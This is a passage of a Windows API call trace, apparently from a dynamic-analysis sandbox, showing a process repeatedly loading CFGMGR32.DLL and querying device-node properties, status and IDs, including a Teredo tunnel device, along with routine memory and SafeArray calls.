0x7ffa786e46e0 [0220.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.206] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.207] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0220.207] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0220.207] malloc (_Size=0x48) returned 0x196ef0fbea0 [0220.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x641c7715, dwHighDateTime=0x1d9eb0c)) [0220.207] SetEvent (hEvent=0x248) returned 1 [0220.212] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.212] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.213] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.214] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.216] malloc (_Size=0x18) returned 0x196ef0d1f60 [0220.216] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0220.219] malloc (_Size=0x48) returned 0x196ef0fb400 [0220.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x641c7715, dwHighDateTime=0x1d9eb0c)) [0220.219] SetEvent (hEvent=0x248) returned 1 [0220.223] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.223] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.226] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0220.226] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x14, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0220.226] malloc (_Size=0x48) returned 0x196ef0fbb30 [0220.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x641ed8d4, dwHighDateTime=0x1d9eb0c)) [0220.226] SetEvent (hEvent=0x248) returned 1 [0220.231] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.231] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.231] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.232] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.233] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.234] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.234] malloc (_Size=0x18) returned 0x196ef0d1a80 [0220.234] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x14, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0220.235] malloc (_Size=0x48) returned 0x196ef0fbc20 [0220.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x641ed8d4, dwHighDateTime=0x1d9eb0c)) [0220.235] SetEvent (hEvent=0x248) returned 1 [0220.240] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.240] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.240] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.241] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.242] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.243] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.243] malloc (_Size=0x18) returned 0x196ef0d1d00 [0220.243] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x14, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0220.244] malloc (_Size=0x48) returned 0x196ef0fba40 [0220.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x64214273, dwHighDateTime=0x1d9eb0c)) [0220.244] SetEvent (hEvent=0x248) returned 1 [0220.313] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.313] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.313] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.314] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.321] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.322] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.322] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.322] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.322] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.322] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.322] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.322] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.322] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.323] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.323] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.323] malloc (_Size=0x18) returned 0x196ef0d1c00 [0220.323] CM_Get_Device_IDA (in: dnDevInst=0x15, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\IP_TUNNEL_VBUS\\TEREDO_TUNNEL_DEVICE") returned 0x0 [0220.324] malloc (_Size=0x48) returned 0x196ef0fb810 [0220.324] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x642d280a, dwHighDateTime=0x1d9eb0c)) [0220.324] SetEvent (hEvent=0x248) returned 1 [0220.328] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.328] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.328] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.329] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.330] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.330] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.330] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.330] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.330] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.331] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.331] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.331] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.331] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.331] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.331] malloc (_Size=0x18) returned 0x196ef0d1f20 [0220.331] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0220.332] malloc (_Size=0x12) returned 0x196ef0d1960 [0220.332] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d1960, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1960, pulLength=0x67117d608) returned 0x0 [0220.332] free (_Block=0x196ef0d1960) [0220.332] malloc (_Size=0x48) returned 0x196ef0fbf40 [0220.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x642f8be2, dwHighDateTime=0x1d9eb0c)) [0220.332] SetEvent (hEvent=0x248) returned 1 [0220.336] malloc (_Size=0x18) returned 0x196ef0d2080 [0220.336] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0220.336] free (_Block=0x196ef0d2080) [0220.336] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8561e0 [0220.336] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0220.336] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0220.336] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0220.336] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0220.336] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0220.337] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0220.337] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0220.337] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0220.337] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225e40, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0220.338] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0220.338] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8561e0) returned 1 [0220.339] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0220.339] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0220.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0220.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0220.339] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0220.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0220.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0220.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0220.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0220.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0220.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0220.340] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0220.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0220.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0220.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0220.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0220.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0220.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0220.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0220.341] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0220.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0220.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0220.342] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0220.342] malloc (_Size=0x18) returned 0x196ef0d2000 [0220.342] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0220.342] malloc (_Size=0x38) returned 0x196ef0d1650 [0220.342] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x15, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d1650, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d1650, pulLength=0x67117d608) returned 0x0 [0220.343] free (_Block=0x196ef0d1650) [0220.343] malloc (_Size=0x48) returned 0x196ef0fb4f0 [0220.343] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x642f8be2, dwHighDateTime=0x1d9eb0c)) [0220.344] SetEvent (hEvent=0x248) returned 1 [0220.346] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0220.347] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0220.347] free (_Block=0x196ef0d1ca0) [0220.347] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0220.347] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0220.347] free (_Block=0x196ef0d1ba0) [0220.347] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855e60 [0220.347] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0220.347] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0220.347] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0220.347] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0220.347] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0220.347] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0220.347] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0220.347] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0220.348] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e6b0, 